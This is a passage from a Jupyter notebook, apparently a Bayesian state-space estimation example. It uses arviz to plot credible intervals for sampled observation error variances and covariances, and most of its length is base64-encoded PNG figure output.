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\n", "text/plain": [ "<Figure size 576x504 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "import arviz as az\n", "\n", "# Collect the observation error covariance parameters\n", "az_obs_cov = az.convert_to_inference_data({\n", " ('Var[%s]' % mod.endog_names[i] if i == j else\n", " 'Cov[%s, %s]' % (mod.endog_names[i], mod.endog_names[j])):\n", " store_obs_cov[nburn + 1:, i, j]\n", " for i in range(mod.k_endog) for j in range(i, mod.k_endog)})\n", "\n", "# Plot the credible intervals\n", "az.plot_forest(az_obs_cov, figsize=(8, 7));" ] }, { "cell_type": "code", "execution_count": 17, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:52:52.341679Z", "iopub.status.busy": "2021-02-02T06:52:52.340028Z", "iopub.status.idle": "2021-02-02T06:52:53.876297Z", "shell.execute_reply": "2021-02-02T06:52:53.877543Z" } }, "outputs": [ { "data": { "text/plain": [ "array([<AxesSubplot:title={'center':'94.0% Credible Interval'}>],\n", " dtype=object)" ] }, "execution_count": 1, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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